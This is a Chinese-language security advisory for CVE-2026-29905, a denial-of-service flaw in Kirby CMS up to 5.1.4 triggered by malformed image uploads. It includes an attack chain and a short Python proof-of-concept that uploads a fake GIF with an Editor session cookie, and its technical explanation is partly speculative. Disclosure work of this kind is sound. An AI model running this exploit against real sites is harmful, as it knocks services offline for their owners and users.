IPBUF安全漏洞报告
English
CVE-2026-29905 CVSS 6.5 中危

Kirby CMS持久性拒绝服务漏洞(CVE-2026-29905)

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-29905
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kirby CMS

相关标签

CVE-2026-29905Kirby CMS拒绝服务DoS文件上传漏洞PHPgetimagesize

漏洞概述

Kirby CMS在版本5.1.4及之前存在一个安全漏洞。拥有'Editor'权限的认证用户可以上传格式错误的图片文件,从而触发持久的拒绝服务攻击。该漏洞的根源在于应用程序未能正确验证PHP getimagesize()函数的返回值。当系统尝试处理这些恶意文件以生成元数据或缩略图时,会触发致命的TypeError错误,导致服务不可用。

技术细节

该漏洞属于逻辑验证缺陷。在Kirby CMS的图片处理流程中,系统依赖PHP内置的getimagesize()函数来获取上传图片的尺寸信息。通常情况下,该函数在成功时返回数组,失败时返回false。然而,代码中可能缺少了对返回值类型的严格检查,直接将返回值当作数组或对象进行访问。当攻击者上传一个经过特殊构造的畸形图片文件(例如文件头损坏或格式异常),getimagesize()函数可能会返回false。当后续代码尝试访问这个false值的属性或索引(例如用于生成缩略图)时,PHP会抛出'TypeError'。由于这是一个未捕获的致命错误,会导致当前请求的处理线程崩溃,进而导致系统服务不可用。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别出目标站点使用的是Kirby CMS,并确认版本在5.1.4及以下。
STEP 2
步骤2:获取低权限账号
攻击者注册或获取一个具有'Editor'(编辑)权限的合法账号。
STEP 3
步骤3:构造恶意文件
攻击者构造一个畸形的图片文件,该文件能够导致PHP的getimagesize()函数处理失败。
STEP 4
步骤4:上传文件触发漏洞
攻击者登录系统,通过正常的图片上传接口上传该恶意文件。系统在后台处理文件(如生成缩略图)时触发TypeError,导致服务崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-29905 # This script demonstrates uploading a malformed image to trigger the DoS. import requests target_url = "http://target-kirby-cms.com/panel/api/upload" # Example endpoint session_cookie = "kirby_session=..." # Authenticated 'Editor' cookie # Create a malformed payload that causes getimagesize() to fail or return unexpected data # A simple text file with .gif extension often triggers getimagesize() failures malformed_image_data = b"This is not a valid image file content." files = { 'file': ('exploit.gif', malformed_image_data, 'image/gif') } headers = { 'Cookie': session_cookie } try: response = requests.post(target_url, files=files, headers=headers) print(f"Status Code: {response.status_code}") if response.status_code == 500 or "TypeError" in response.text: print("Vulnerability triggered: Server error likely due to TypeError.") else: print("Vulnerability may not be triggered or payload incorrect.") except Exception as e: print(f"Error during request: {e}")

影响范围

Kirby CMS <= 5.1.4

防御指南

临时缓解措施
建议立即将Kirby CMS升级到5.2.0-rc.1或更高版本以修复此漏洞。如果无法立即升级,应暂时禁用'Editor'角色的图片上传权限,或在WAF(Web应用防火墙)层面部署规则,检测并拦截上传过程中可能触发异常的畸形文件流,以保障系统可用性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表